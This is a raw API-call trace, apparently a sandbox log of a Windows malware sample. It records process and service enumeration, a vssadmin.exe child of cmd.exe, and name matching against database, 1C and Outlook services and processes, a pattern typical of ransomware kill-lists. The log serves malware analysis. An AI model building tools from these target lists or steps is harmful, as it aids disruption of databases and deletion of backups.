Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x564, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0267.853] lstrlenW (lpString="cmd.exe") returned 7 [0267.853] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0267.854] lstrlenW (lpString="conhost.exe") returned 11 [0267.854] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0267.854] lstrlenW (lpString="vssadmin.exe") returned 12 [0267.854] Process32NextW (in: hSnapshot=0x2fc, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0267.854] CloseHandle (hObject=0x2fc) returned 1 [0267.854] Sleep (dwMilliseconds=0x1f4) [0268.525] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x420a558 [0268.732] EnumServicesStatusExW (in: hSCManager=0x420a558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0268.732] GetLastError () returned 0xea [0268.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xacc) returned 0x42091e0 [0268.732] EnumServicesStatusExW (in: hSCManager=0x420a558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42091e0, cbBufSize=0xacc, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42091e0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0268.732] CloseServiceHandle (hSCObject=0x420a558) returned 1 [0268.732] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.732] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.733] lstrlenW (lpString="AudioSrv") returned 8 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0268.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0268.733] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0268.733] lstrlenW (lpString="BFE") returned 3 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.733] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.733] lstrlenW (lpString="CscService") returned 10 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0268.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0268.733] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0268.733] lstrlenW (lpString="DcomLaunch") returned 10 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.733] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.733] lstrlenW (lpString="Dhcp") returned 4 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.733] lstrlenW (lpString="Dnscache") returned 8 [0268.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.734] lstrlenW (lpString="eventlog") returned 8 [0268.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0268.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0268.734] lstrlenW (lpString="EventSystem") returned 11 [0268.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.734] lstrlenW (lpString="gpsvc") returned 5 [0268.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.734] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.734] lstrlenW (lpString="lmhosts") returned 7 [0268.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.734] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.734] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.735] lstrlenW (lpString="MMCSS") returned 5 [0268.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0268.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0268.735] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0268.735] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0268.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0268.735] lstrlenW (lpString="MpsSvc") returned 6 [0268.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.735] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.735] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.735] lstrlenW (lpString="nsi") returned 3 [0268.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.735] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.735] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.735] lstrlenW (lpString="PlugPlay") returned 8 [0268.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.735] lstrlenW (lpString="Power") returned 5 [0268.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.736] lstrlenW (lpString="ProfSvc") returned 7 [0268.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.736] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.736] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.736] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.736] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.736] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.736] lstrlenW (lpString="RpcSs") returned 5 [0268.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.736] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.736] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.736] lstrlenW (lpString="SamSs") returned 5 [0268.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.737] lstrlenW (lpString="Schedule") returned 8 [0268.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.737] lstrlenW (lpString="SENS") returned 4 [0268.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.737] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.737] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.737] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.737] lstrlenW (lpString="Spooler") returned 7 [0268.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.737] lstrlenW (lpString="Themes") returned 6 [0268.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0268.737] lstrlenW (lpString="UxSms") returned 5 [0268.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0268.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0268.738] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0268.738] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0268.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0268.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x42091e0 | out: hHeap=0x2a0000) returned 1 [0268.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0268.739] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.739] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.740] lstrlenW (lpString="System") returned 6 [0268.740] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0268.740] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0268.740] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.740] lstrlenW (lpString="smss.exe") returned 8 [0268.740] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0268.740] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0268.740] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.741] lstrlenW (lpString="csrss.exe") returned 9 [0268.741] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.741] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.741] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.741] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.741] lstrlenW (lpString="wininit.exe") returned 11 [0268.741] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0268.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0268.741] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.741] lstrlenW (lpString="csrss.exe") returned 9 [0268.741] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.742] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.742] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.742] lstrlenW (lpString="winlogon.exe") returned 12 [0268.742] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0268.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0268.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.742] lstrlenW (lpString="services.exe") returned 12 [0268.742] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0268.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0268.742] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0268.742] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0268.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0268.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0268.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0268.743] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.743] lstrlenW (lpString="lsass.exe") returned 9 [0268.743] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0268.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0268.743] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0268.743] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0268.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0268.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0268.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0268.743] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.743] lstrlenW (lpString="lsm.exe") returned 7 [0268.743] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0268.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0268.743] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0268.743] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0268.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0268.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0268.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0268.744] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.744] lstrlenW (lpString="svchost.exe") returned 11 [0268.744] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.744] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.744] lstrlenW (lpString="svchost.exe") returned 11 [0268.744] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.745] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.745] lstrlenW (lpString="svchost.exe") returned 11 [0268.745] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW 